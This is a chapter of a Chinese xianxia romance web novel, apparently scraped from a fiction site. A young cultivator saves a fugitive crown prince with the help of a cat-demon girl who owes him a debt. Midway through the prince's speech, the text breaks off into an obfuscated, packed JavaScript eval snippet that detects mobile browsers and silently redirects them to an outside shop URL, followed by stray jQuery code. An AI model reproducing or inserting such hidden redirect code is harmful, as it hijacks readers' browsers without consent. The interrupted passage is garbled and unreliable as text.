文趣网 > 其他小说 > 师妹为何要如此 > 13. 捡男人会带来不幸
    凡间有段时日的话本子,流行女主捡男人。

    在路边捡到的乞丐,或是重伤昏厥的血人。

    末了摇身一变,不是成了皇子,王爷,便是富商,世家子弟,更有甚者直接捡了个皇帝回去。

    一个摊位十本,有七本是女主在路边把男人捡回来最后两人终成眷侣的爱情故事。

    彼时,温煦亦深受荼毒,叫嚣着要下山捡男人。

    楼雪尽好说歹说劝她,路边的男人捡不得,会带来不幸。

    她不听,直到最后楼雪尽使用武力镇压,才让她歇了心思。

    方才巷子里躺着的男子开口,顿时勾起温煦的回忆。

    话本子里,那些会带来不幸的男人要连累人时,总会说:“姑娘,求求你,救救我。”

    救下他的女子,多半会与他一同遭遇一系列的暗杀,而后两人颠沛流离,最后互生情愫。

    温煦自漆黑的巷口走出,随即眼前撞入一片盛景。

    长街灯火通明,流光溢彩。

    几人手中举着巨大的鱼灯,从她面前而过。

    竹骨绷着半透的彩纱,金红鳞纹栩栩如生,烛火自鱼身内里透出,暖黄色的火光悠悠摇曳。

    “好美。”怀里的零零七低声感叹。

    “我记得哪儿有卖小鱼灯。”温煦四处张望。

    视线停在不远处猜灯谜的摊位。

    她眼眸一亮,脸上扬起笑,朝摊位走去。

    “温煦,我们不管他了吗。”零零七小声问。

    “他身上,有层淡淡的龙气。”

    踏入修仙这条路,玄霜教温煦的第一课,便是修士不得插手凡人之间的争斗,不得扰乱凡间的秩序,尤其是与凡间皇室有关的,更是得有多远躲多远。

    “救他,会掺入数不清的因果。”温煦施施然道,“我方才离开时丢下丹药,能否撑过去,便看他的造化了。”

    话语间,有人与她擦肩而过,带来一缕清浅的芬香,和似有若无的妖气。

    温煦下意识站停,回头望见位姑娘站在她方才出来的小巷。

    那姑娘正好奇地往里瞧,而后径直走进。

    温煦思索再三,掉头跟过去。

    踏入巷中,便见那姑娘,用瘦弱的身躯扛起地上高大的男子,

    “多谢姑娘,溪某从江南而来投奔亲戚,路上竟遇山匪,九死一生方才逃脱。”

    男人气喘吁吁地画饼,“若姑娘能助溪某渡过难关,来日定将重谢。”

    当今皇室复姓棠溪,再结合他身上环绕的龙气,这人不是太子便是准备篡位的皇子或王爷。

    金陵城旁边是仙宗,山匪不要命了才敢在这附近劫人,对待救命恩人,嘴里连句实话也没有。

    姑娘竟也信了:“不过是日行一善,公子不必言谢,我亦不求公子回报。”

    温煦惊呆,这姑娘怎如此纯善。

    “姑娘且慢。”她出言。

    两人循声而去。

    只见少女逆光而立,周身气韵卓然,自带一股出尘的仙家气度。

    男子喜道:“仙子,你怎的回来了。”

    “你可有吃下我给的丹药。”温煦问。

    男子点头,感激道:“多谢仙子,今日之恩,溪某必将重金答谢。”

    “吃下丹药,虽不至于让你马上活龙生虎,但好歹自己站着的力气还是有的。”

    此话一处,男子脸色僵硬,他讪讪松开压在那姑娘肩上的手。

    “溪某头一次见如此神药,尚未来得及反应,以为自己还是废人一个。”

    温煦没搭理男子,反朝呆呆站立的姑娘道:“姑娘,可曾听过一句名言。”

    “仙子请说。”姑娘长得温婉动人,声调也轻缓柔和。

    温煦认真道:“路边的男人捡不得,会带来不幸。”

    男子插话:“恕在下多嘴,敢问这是哪位文豪的名句。”

    温煦一本正经道:“我师兄。”

    男子嘴角抽了抽。

    姑娘捂嘴轻轻笑出声,笑声如银铃般动听:“小女子明翡,可否有幸闻得仙子名讳。”

    “温煦。”

    “池光漾霞影,晓日初明煦。”明翡抿唇轻扬道,“真是个好名字。”

    温煦目光炯炯,原来她的名字藏着这般深意吗。

    两位姑娘你一句我一句,不过片刻,已是挽手并肩,宛若多年知己。

    男子试图引起两人注意,终是徒劳。

    直到外头传来整齐的脚步,和佩剑随走动带来的“乒铃乓啷”声响。

    “是官兵。”男子惊惧道,“完了。”

    定是来寻他的,若是被抓到,男子不敢想像,等待他的会是什么。

    明翡一怔:“我们行得正,坐得端,为何要惧怕官兵。”

    “因为我行不正,坐不端。”男子这次竟不装了,他绝望求助温煦,“仙子,你定是有办法帮我的。”

    “我只是个弱女子,有何办法。”温煦苦恼地歪头。

    “我方才瞧见了,你踩着剑飞下来。”男子笃定道,“你是仙门弟子。”

    “这样啊。”温煦抱歉道,“那我下回不让你瞧见可行?”

    简直是对牛弹琴,男子愈发崩溃。

    “温姑娘,这位公子毕竟身受重伤,我无法眼睁睁看着他……”明翡咬唇,“我瞧着他也不似坏人,定是有什么苦衷。”

    温煦不置可否,坏人可不会把自己很坏写在脸上。

    像她就很坏。

    “要我救你,也并非不可。”温煦问男子,“你究竟是何身份。”

    “还真是瞒不过仙子。”男子苦笑,“我名唤棠溪知钰。”

    “你……是当朝太子。”明翡启唇,语气怪异。

    “马上便不是了。”

    “前些日子,父皇身中剧毒,昏迷不醒,所有证据皆指向我与母后。”棠溪知钰闭了闭眼,沉重叹息,将自己的经历娓娓道来。

    “摄政王拥兵自重,若不是父皇还未彻底断气,怕是要直接登基称帝。”

    “他下令将母后囚禁于宫中,又将我以弑帝的罪名抓进大牢折磨,部下以命相博方才给我争取到一线生机,我一路逃亡,来到金陵城。”

    “想来不消多时,皇后与太子合谋,暗害帝王,意图篡权夺位的消息便会满城皆知。”

    棠溪知钰颓废地往墙上一靠,“我已是太子,只需再等个三年五载,皇位自是我的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17557724|204482||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    囊中之物,我又何故做出此等大逆不道之事。”

    巷外的脚步声越来越近,明翡忽然握住温煦的手,急切道:“温仙子,求您救救他。”

    先前明翡也想救棠溪知钰,但那时的念头并没有如此强烈。

    而此刻,温煦能看到她眼里翻涌如潮的担忧,和藏不住的焦灼。

    何时变化如此之大,似乎……是从棠溪知钰说出自己名字的那一刻。

    官兵正欲踏进巷子查看时,温煦把隐身符拍到棠溪知钰身上。

    符箓闪烁了会,明翡看着棠溪知钰的身影缓慢消失在眼前,她才松了口气。

    “你们二人,可有看到一个身受重伤的男子。”官兵面色肃穆,沉声盘问,“此人是朝廷重犯,私藏者一并捉拿。”

    “不曾。”明翡冷静道。

    几个官兵上前将巷子仔细搜查一番,无果后才离去。

    脚步声渐行渐远。

    半晌后,温煦询问明翡:“小猫妖,他对你有恩?”

    明翡已在极力隐藏自己的妖气,可这点招数对付凡间道士尚可,遇上修士便是无所遁形。

    “十年前,我尚未学会化形,虽是妖,却与普通的畜生无异。”明翡不意外温煦能察觉她的身份。

    她诉说道,“在路上被打得奄奄一息,差点咽气后,有人救了我。”

    “我听到旁人称他,太子殿下。”

    明翡看不到棠溪知钰,凭着感觉,她对着一处说:“你既已知晓我是妖,要不要跟我走,随你决断。”

    凡人多厌恶妖类,她怕棠溪知钰亦是如此。

    当年养好伤后,她便不告而别,没成想兜兜转转,两人还能再次相见。

    袖子传来轻扯,冲淡了明翡脸上的忐忑与不安。

    她笑了,又朝温煦行了个大礼:“多谢仙子今日相救,明翡无以为报。”

    “今后,若有用得上明翡的地方,任凭仙子差遣。”

    “此事在我。”温煦将明翡扶起来,“若非我阻拦,你早带他逃离,又怎会遇上官兵。”

    “隐身符只能持续一刻钟,你们尽快去往藏身之处。”

    “仙子,我日后该如何寻你。”明翡心心念念要找机会报答这位仙子。

    只是温煦摆摆手:“若你我有缘,自会再见。”

    说罢,她转身辞别。

    明翡则带着棠溪知钰朝着相反的方向离去。

    “温煦,我被感动了。”零零七豆大的眼眶挤出滴泪,“这便是命定的姻缘吗,兜兜转转还是你。”

    温煦也惊叹这两人红线绑得太死了些,若换常人,大抵是此生不复相见。

    她挤过熙攘人群,来到方才便看对眼的摊子,仰头望鱼灯上贴的灯谜。

    “解落三秋叶,能开二月花。过江千尺浪,入竹万竿斜。”

    温煦吟念完,只觉头晕目眩:“老板,今年这谜题,怎如此摸不着头脑。”

    难怪这么长时间,鱼灯还未让人赢走。

    “往年来来回那老几样,可不得整些新鲜的。”老板乐呵呵道。

    温煦和零零七苦思许久,准备放弃时,清冽的男声在温煦身旁响起。

    “可是‘风’?”